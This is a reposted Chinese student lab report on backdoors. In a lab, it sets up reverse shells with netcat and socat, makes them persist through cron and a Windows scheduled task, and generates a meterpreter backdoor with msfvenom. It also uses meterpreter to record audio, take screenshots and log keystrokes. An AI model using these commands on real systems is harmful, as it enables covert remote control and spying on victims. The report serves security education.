2018-2019-2 20165313 Exp2 后门原理与实践

实践基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

应用程序设定后门,用户安装后,后门就可以进入。例如课堂上讲到的百度。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

win中的后门伴随软件启动
linux可以用corn启动

(3)Meterpreter有哪些给你映像深刻的功能?

可以获取他人的语音录音和视屏,还可以获取他人操作系统权限。

(4)如何发现自己有系统有没有被安装后门?

杀毒软件查杀。

试验过程

课堂上试验:

实践过程:

(1)查看win7和kali的ip:
1296592-20190319103747670-246451958.jpg
1296592-20190319104227601-2028741333.jpg
(2)进入ncat.exe目录下运行ncat.exe -l -p 5313
(3)反向链接:nc 192.168.43.65313 -e /bin/sh
1296592-20190319104334214-174315860.jpg
(4)kali输入nc -l -p 5313
(5)Windows反弹连接Linux:``` ncat.exe -e cmd.exe 192.168.43.56 5313
1296592-20190319104518306-919543510.jpg

任务一:使用netcat获取主机操作Shell,cron启动

实践过程:

(1)Windows输入指令ncat.exe -l -p 5313 监听
(2)Linux输入指令crontab -e,选择3打开,在最后一行添加代码:53 * * * * /bin/netcat 192.168.1.185 5313 -e /bin/sh 在每小时的53分运行ncat回连win主机
1296592-20190319110527344-1232821347.jpg
1296592-20190319110533052-1119273362.jpg
(输入保存完成后,可以通过crontab -l来查看)

(3)时间到了,就可以运行Linux shell指令:
1296592-20190319110331869-253613828.jpg

任务二:使用socat获取主机操作Shell, 任务计划启动

实践过程:

(1)打开Windows->控制面板->系统和安全->管理工具->任务计划程序:
1296592-20190319110836902-273718804.jpg
(2)新建任务计划,填写任务名称
(3)新建触发器,设置为工作站锁定时,并启用:
1296592-20190319111446972-663460516.jpg
(4)新建操作,在程序或脚本中选择所下载的socat.exe文件路径,在添加参数中添加tcp-listen:5313 exec:cmd.exe,pty,stderr命令
1296592-20190319111623455-1937793937.jpg
(5)运行创建任务,在linux中输入指令socat - tcp:192.168.1.185:5313
1296592-20190319114510141-821919950.jpg

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

实践过程:

(1)在Linux主机输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.56 LPORT=5313 -f exe > 20165313_backdoor.exe,此条指令意为生成一个.exe程序,名称为 20165313_backdoor,将来在windows上运行时会回连到Linux主机相应端口
1296592-20190319101044415-1063543021.jpg
(2)在cmd中输入指令ncat.exe -l 5313 > 5313_backdoor.exe回车准备接收文件:
1296592-20190319101131989-920612942.jpg
(3)在kali中输入指令nc 192.168.43.6 5313 < 20165313_backdoor.exe发送文件:
1296592-20190319101144880-334124105.jpg
(4)输入msfconsole启动
(5)依次输入use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.56
set LPORT 5313
输入show options查看:
1296592-20190319101540025-664542697.jpg
1296592-20190319102527748-2018602787.jpg

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

实践过程:

(1)Linux输入指令exploit 开始监听
(2)windows 双击后门程序执行。
(3)输入指令record_mic 录制一段音频
1296592-20190319102534590-2056667899.jpg

1296592-20190319102605972-1550039901.jpg
(4)webcam_list查看目标主机是否有摄像头
1296592-20190319102648705-630686105.jpg
(5)输入指令screenshot 截取屏幕
1296592-20190319102919418-1103201074.jpg

(6)输入指令keyscan_start记录击键内容,输入指令keyscan_dump 获取击键记录
1296592-20190319102753683-994024854.jpg

(7)输入指令getsystem提权失败
1296592-20190319103609731-1920057615.jpg

任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

参考了同组任胤的博客(https://www.cnblogs.com/FenixRen/p/10562400.html),发现他先生成shellcode ,再注入pwn1的方法走不通,我就试想是不是MSF可以直接将shellcode注入到PWN1文件中去,我去找了找,发现MSF可以自己生成一个可执行的后门,并且可以设定输出的格式(https://blog.csdn.net/zsj2102/article/details/78549508),又根据学姐的博客成功使用MSF生成shellcode,pwn1中。如下图所示:
1296592-20190323114317581-230523811.jpg

1296592-20190323110018991-926550930.jpg

基本步骤学长的博客中都有了详细的介绍,这里我就不重复了(感兴趣的可以自己看看),这里我想说的是:
(1)在利用MSF注入时应考虑执行文件的属性问题,即是32位还是64位执行文件。
(2)打开MSF进行监听的时候,要根据被攻击的主机即后门程序进行设置,即 set payload xxxxxx/meterpreter/reverse_tcp 中的xxxxx要根据实际情况进行修改。任务三,四中被监听主机是Windows系统,则应为windows,而任务五中,则应改成linux/x86
(3)操作细节注意:在Linux执行pwn3(注入shellcode之后的文件)应先加权限 chmod +x pwn3
(4)msfvenom –h 查看帮助:
中文解释:

 -p, --payload     <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定

     -l, --list       [module_type]   列出指定模块的所有可用资源.模块类型包括: payloads, encoders, nops, all

     -n, --nopsled     <length>        为payload预先指定一个NOP滑动长度

     -f, --format      <format>        指定输出格式 (使用 --help-formats来获取msf支持的输出格式列表)

     -e, --encoder    [encoder]       指定需要使用的encoder(编码器)

     -a, --arch        <architecture>  指定payload的目标架构

         --platform    <platform>      指定payload的目标平台

     -s, --space       <length>        设定有效攻击荷载的最大长度

     -b, --bad-chars   <list>          设定规避字符集,比如: '\x00\xff'

     -i, --iterations <count>          指定payload的编码次数

     -c, --add-code    <path>          指定一个附加的win32 shellcode文件

     -x, --template    <path>          指定一个自定义的可执行文件作为模板

     -k, --keep                        保护模板程序的动作,注入的payload作为一个新的进程运行

         --payload-options            列举payload的标准选项

     -o, --out   <path>               保存payload

     -v, --var-name <name>             指定一个自定义的变量,以确定输出格式

         --shellest                   最小化生成payload

     -h, --help                        查看帮助选项

         --help-formats               查看msf支持的输出格式列表

实验总结与体会

通过后门进行的攻击更加隐蔽,也更加难以防御,所以只有真正了解其原理,才能找出对应的防御方法。

转载于:https://www.cnblogs.com/zch123456/p/10556935.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值